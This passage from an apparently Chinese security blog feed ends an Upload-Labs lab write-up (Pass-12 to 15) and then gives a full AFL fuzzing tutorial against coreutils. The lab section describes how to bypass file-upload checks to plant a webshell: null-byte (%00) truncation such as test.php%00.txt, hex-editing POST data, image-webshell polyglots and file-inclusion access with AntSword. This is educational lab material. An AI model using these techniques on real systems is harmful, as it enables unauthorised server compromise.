alt="uTools_1658331735899"></p><h2 id="Pass-12"><a href="#Pass-12" class="headerlink" title="Pass-12"></a>Pass-12</h2><p><strong>%00截断</strong><br>下面是用 URL 编码形式表示的 ASCII 字符</p><p>在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束</p><p>比如:</p><p><a href="https://mp.csdn.net/upfiles/?filename=test.txt">https://mp.csdn.net/upfiles/?filename=test.txt</a> 此时输出的是test.txt</p><p>加上%00</p><p><a href="https://mp.csdn.net/upfiles/?filename=test.php%00.txt">https://mp.csdn.net/upfiles/?filename=test.php%00.txt</a> 此时输出的是test.php</p><p>就绕过了后缀限制,可以上传webshell啦。</p><p><strong>php 00截断</strong></p><ul><li><p>php版本要小于5.3.4,5.3.4及以上已经修复该问题</p></li><li><p>magic_quotes_gpc需要为OFF状态</p></li></ul><p>include和require一般在网站内部读取文件</p><p>file_get_contents一般用于打开一个url或一个文件</p><p>file_exists判断文件是否存在</p><hr><ul><li>注意:需要将 php 版本调节到5.2.17,并且打开 php.ini 将 magic_quotes_gpc 修改为 Off ,保存,重启 php。</li></ul><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658332947803.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658332947803.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658332947803"></p><p>蚁剑连接:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333088765.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333088765.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658333088765"></p><h2 id="Pass-13"><a href="#Pass-13" class="headerlink" title="Pass-13"></a>Pass-13</h2><p>查看源码,发现和上一关一样,只是传参的方式变成了POST,尝试使用%00截断绕过,由于无法自行解码所以我们需要在 hex 中找到相对应的位置将数字修改为00</p><p>需要注意的是两个截断有点区别,通过get方式是在url的参数中添加%00。这是因为%00通过get方式传递到服务器会被自动解码,所以就变成了ascii码中数值0对应的那个字符(null),这才能达到截断的目的。</p><p>但是如果是通过post的话,加入%00不会别服务器解码,只会原样被参数变量接收。所以这里要通过修改post数据的十六进制来达到截断的目的。</p><p>抓包,找到post参数save_path对应地方:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333568947.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333568947.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658333568947"></p><p>使用hex,轻松定位到我们写aaaaaaa的地方</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333654813.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333654813.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658333654813"></p><p>将20 (space) 改为00,造成截断。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333684985.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333684985.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658333684985"></p><p>此时空格没了</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333742457.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333742457.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658333742457"></p><p>send之后:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333837776.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333837776.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658333837776"></p><p>连接尝试:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333812001.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658333812001.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658333812001"></p><p>成功!!!</p><h2 id="Pass-14"><a href="#Pass-14" class="headerlink" title="Pass-14"></a>Pass-14</h2><ul><li>方案1:</li></ul><p>图片马制作:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658335286153.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658335286153.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658335286153"></p><p>上传成功:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658335432622.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658335432622.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658335432622"></p><p>本pass检查图标内容开头2个字节!</p><p>根据提示:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658335783748.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658335783748.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658335783748"></p><p>使用文件包含漏洞访问该图片并且使用蚁剑连接</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658336007784.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658336007784.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658336007784"></p><ul><li>方案2:</li></ul><p>观察代码可以看到实际上程序只是检查了前两个字节的内容,我们只要保证前两个字节是正确的。</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658337200693.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658337200693.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658337200693"></p><p>上传成功后,利用文件包含漏洞访问:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658337118434.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658337118434.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658337118434"></p><p>蚁剑连接:</p><p><img src="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658337289452.png" class="lazyload placeholder" data-srcset="/2022/07/22/Upload-Labs-%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/uTools_1658337289452.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1658337289452"></p><h2 id="Pass-15"><a href="#Pass-15" class="headerlink" title="Pass-15"></a>Pass-15</h2><p>本题用getimagesize函数判断文件类型。</p><p>使用14的方案1上传图片马即可,因为方案1是完整文件,检测image的size是可以通过的。</p>]]></content>
<summary type="html"><h1 id="Upload-Labs-做题记录"><a href="#Upload-Labs-做题记录" class="headerlink" title="Upload Labs 做题记录"></a>Upload Labs 做题记录</h1><p>作业</p>
<h2 id=</summary>
<category term="渗透测试" scheme="http://example.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
<category term="CTF" scheme="http://example.com/tags/CTF/"/>
</entry>
<entry>
<title>AFL 模糊测试实验</title>
<link href="http://example.com/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/"/>
<id>http://example.com/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/</id>
<published>2022-06-28T10:14:39.000Z</published>
<updated>2022-06-28T10:25:50.930Z</updated>
<content type="html"><![CDATA[<h1 id="AFL-模糊测试实验"><a href="#AFL-模糊测试实验" class="headerlink" title="AFL 模糊测试实验"></a>AFL 模糊测试实验</h1><p>本次实验目标是对 Coreutils 软件集合使用 AFL 进行模糊测试。</p><p>首先需要下载目标程序集(coreutils-9.0.tar.gz)</p><p>下载地址:<a href="https://ftp.gnu.org/gnu/coreutils/">https://ftp.gnu.org/gnu/coreutils/</a></p><p>当源代码<em>不可</em>用时,fuzzer 为黑盒二进制文件的快速、动态检测提供实验性支持。这是通过运行在鲜为人知的“用户空间仿真”模式下的 QEMU 版本来完成的。</p><h2 id="使用afl-fuzz进行模糊测试"><a href="#使用afl-fuzz进行模糊测试" class="headerlink" title="使用afl-fuzz进行模糊测试"></a>使用afl-fuzz进行模糊测试</h2><p>@@对应的位置就是 testcase_dir 中的 input file 内容该填充到的位置。即调用命令该输入的参数。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@</span><br></pre></td></tr></table></figure><h4 id="AFL的status-screen状态UI概述"><a href="#AFL的status-screen状态UI概述" class="headerlink" title="AFL的status_screen状态UI概述"></a>AFL的status_screen状态UI概述</h4><p><a href="https://github.com/google/AFL/blob/master/docs/status_screen.txt">https://github.com/google/AFL/blob/master/docs/status_screen.txt</a></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653804941802-16564119443911.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653804941802-16564119443911.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653804941802"></p><h5 id="process-timing"><a href="#process-timing" class="headerlink" title="process timing"></a>process timing</h5><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1652803829999-16564119443912.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1652803829999-16564119443912.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1652803829999"></p><p>四个栏目分别为:</p><p>run time:工具运行总时间</p><p>last new path:自发现最后一条新<strong>路径</strong>以来过了多长时间</p><p>last uniq crash:最后一次出现新的不同的crash<strong>崩溃</strong>以来过了多长时间</p><p>last uniq hang:最后一次 unique 的<strong>挂起</strong>以来过了多长时间</p><h5 id="overall-results"><a href="#overall-results" class="headerlink" title="overall results"></a>overall results</h5><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653804984303-16564119443913.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653804984303-16564119443913.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653804984303"></p><p>cycles done:已完成的循环次数,到目前为止完成的队列通过次数</p><p>total paths:目前为止发现的测试用例(“路径”)的数量</p><p>uniq crashes到目前为止发现的unique 的crash数量</p><h5 id="cycle-progress"><a href="#cycle-progress" class="headerlink" title="cycle progress"></a>cycle progress</h5><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653808011217-16564119443914.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653808011217-16564119443914.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653808011217"></p><p>now processing:告诉你模糊器在当前队列周期中的遍历位置:它显示它当前正在处理的测试用例的 ID,有时显示在第一行的“*”后缀表示当前处理后的路径不是“首选”。</p><p>paths timed out:由于一直超时而选择放弃的输入数量。</p><h5 id="map-coverage"><a href="#map-coverage" class="headerlink" title="map coverage"></a>map coverage</h5><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653808131053-16564119443915.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653808131053-16564119443915.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653808131053"></p><p>提供一些在target二进制文件中embedded的工具检测到的有关于覆盖coverage的信息。</p><p>map density:相比我们最多可以掌控的bitmap数,我们已经命中了多少 branch tuples 。左侧描述current input,右边描述</p><h5 id="Stage-progress"><a href="#Stage-progress" class="headerlink" title="Stage progress"></a>Stage progress</h5><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653834669979-16564119443916.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653834669979-16564119443916.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653834669979"></p><p>这个板块能告知fuzzer目前正处在的阶段. fuzzer的阶段有以下几种:</p><ol><li><code>calibration</code>校验: 在模糊测试前进行的阶段, 检查执行路径以发现异常, 评估基准速度等.</li><li><code>trim L/S</code>: 另一个预准备阶段, 测试用例会被裁剪为同效的最简形式.</li><li><code>bitflip L/S</code>: 比特翻转. 在任意时间翻转L个比特, S个比特的步长遍历输入文件.</li><li><code>arith L/8</code>: 算数操作. fuzzer对<code>8/16/32</code>比特的数值加减某个小整数.</li><li><code>extras</code>: 填充字典项. fuzzer根据是使用用户提供的字典(-x)还是自动创建的字典, 来显示为”user”或”auto”. 如果是覆写数据则是”over”, 插入数据则是”insert”.</li><li><code>havoc</code>: 随机调整. 该阶段会进行包括比特翻转, 使用”随机有趣”证书进行覆写, 块删除, 块复制, 字典等各种操作.</li><li><code>splice</code>: 在任意选择的中点将队列中的两个随机输入拼接在一起.</li><li><code>sync</code>: 只在并行fuzz时出现, 该阶段会同步其他fuzzer的状态信息.</li></ol><p>各种Fuzzing 策略产生的收益</p><h5 id="Path-geometry"><a href="#Path-geometry" class="headerlink" title="Path geometry"></a>Path geometry</h5><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/image-20220529223248762-16564119443917.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/image-20220529223248762-16564119443917.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220529223248762"> </p><ul><li><code>levels</code>: 表示导向型fuzzing过程所到达的路径深度, 路径越深表明该导向的价值越高.</li><li><code>pending</code>: 表示尚未经过任何模糊处理的输入的数量.</li><li><code>pend fav</code>: 表示fuzzer认为队列中可能有趣的输入数量.</li><li><code>own finds</code>: 表示模糊过程发现的新路径数量.</li><li><code>imported</code>: 表示并行fuzz过程中从其他fuzzer中导入的新路径数量.</li><li><code>stability</code>: 表示相同输入在目标程序中产生可变行为的程度, 这可以表明观察到的行为的一致性. 如果该数值较低, 就表明行为的不确定性, AFL也很难区分对输入文件变异带来的影响.</li></ul><h2 id="基于编译器的目标程序插桩"><a href="#基于编译器的目标程序插桩" class="headerlink" title="基于编译器的目标程序插桩"></a>基于编译器的目标程序插桩</h2><p>首先解压 coreutils-9.0.tar.gz 中对应内容。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tar -zxvf coreutils-9.0.tar.gz </span><br></pre></td></tr></table></figure><p>进入<code>coreutils-9.0</code>文件夹,调整configure,将编译器从 gcc 换成 afl-gcc,之后编译文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./configure CC="afl-gcc"</span><br><span class="line">make</span><br></pre></td></tr></table></figure><p>此时可以看到编译成功:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1652712954790-16564119443918.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1652712954790-16564119443918.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1652712954790"></p><p>之后进入 ./src 文件夹,可以看到:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1652713047707-16564119443919.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1652713047707-16564119443919.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1652713047707"></p><p>生成 coreutils 二进制程序集后,可以看到make 出来的每一个插桩后的二进制均在 coreutils-9.1/src 目录下。</p><h3 id="在input中的各个目录下写入自定义testcase的seed文件"><a href="#在input中的各个目录下写入自定义testcase的seed文件" class="headerlink" title="在input中的各个目录下写入自定义testcase的seed文件"></a>在input中的各个目录下写入自定义testcase的seed文件</h3><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653804027787-165641194439110.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653804027787-165641194439110.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653804027787"></p><p>文件的内容定义基本如下:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653805334471-165641194439111.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653805334471-165641194439111.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653805334471"></p><h4 id="对-cat-指令测试"><a href="#对-cat-指令测试" class="headerlink" title="对 cat 指令测试"></a>对 cat 指令测试</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -i input/cat -o output/cat ./cat -A @@</span><br></pre></td></tr></table></figure><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653805128524-165641194439112.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653805128524-165641194439112.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653805128524"></p><h4 id="对-md5sum-指令测试"><a href="#对-md5sum-指令测试" class="headerlink" title="对 md5sum 指令测试"></a>对 md5sum 指令测试</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -i input/md5sum/ -o output/md5sum ./md5sum @@</span><br></pre></td></tr></table></figure><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653805484570-165641194439113.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653805484570-165641194439113.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653805484570"></p><h4 id="对base32指令测试"><a href="#对base32指令测试" class="headerlink" title="对base32指令测试"></a>对base32指令测试</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -i input/base32/ -o output/base32 ./base32 @@</span><br></pre></td></tr></table></figure><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653805763212-165641194439114.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653805763212-165641194439114.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653805763212"></p><h3 id="在input中新建random文件夹,输入随机的seed"><a href="#在input中新建random文件夹,输入随机的seed" class="headerlink" title="在input中新建random文件夹,输入随机的seed"></a>在input中新建random文件夹,输入随机的seed</h3><p>文件内容如下:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653833497710-165641194439115.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653833497710-165641194439115.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653833497710"></p><p>目录结构如下:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653833789039-16538338245041-165641194439116.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653833789039-16538338245041-165641194439116.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653833789039"></p><p>使用命令:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -Q -i input/random -o output/md5sum ./md5sum @@</span><br><span class="line"></span><br><span class="line">afl-fuzz -Q -i input/random -o output/base32 ./base32 @@</span><br><span class="line"></span><br><span class="line">afl-fuzz -Q -i input/random -o output/cat ./cat @@</span><br></pre></td></tr></table></figure><h4 id="对-cat-指令测试-1"><a href="#对-cat-指令测试-1" class="headerlink" title="对 cat 指令测试"></a>对 cat 指令测试</h4><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653837016582-165641194439217.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653837016582-165641194439217.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653837016582"></p><h4 id="对-md5sum-指令测试-1"><a href="#对-md5sum-指令测试-1" class="headerlink" title="对 md5sum 指令测试"></a>对 md5sum 指令测试</h4><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653836091451-165641194439218.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653836091451-165641194439218.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653836091451"></p><h4 id="对base32指令测试-1"><a href="#对base32指令测试-1" class="headerlink" title="对base32指令测试"></a>对base32指令测试</h4><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653836742323-165383683240811-165641194439219.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653836742323-165383683240811-165641194439219.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653836742323"></p><h3 id="结果观察"><a href="#结果观察" class="headerlink" title="结果观察"></a>结果观察</h3><p>在output/cat文件夹下看到的内容如下:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806256086-165641194439220.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806256086-165641194439220.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653806256086"></p><p>同样,在output/md5sum中的内容:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806497601-165641194439221.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806497601-165641194439221.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653806497601"></p><p>我们继续观察queue中的内容,可以看到:</p><p>id\:000000\,orig\:test1</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806669687-165641194439222.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806669687-165641194439222.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653806669687"></p><p>id\:000002\,src\:000000\,op\:havoc\,rep\:16\,+cov</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806745632-165641194439223.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806745632-165641194439223.png" 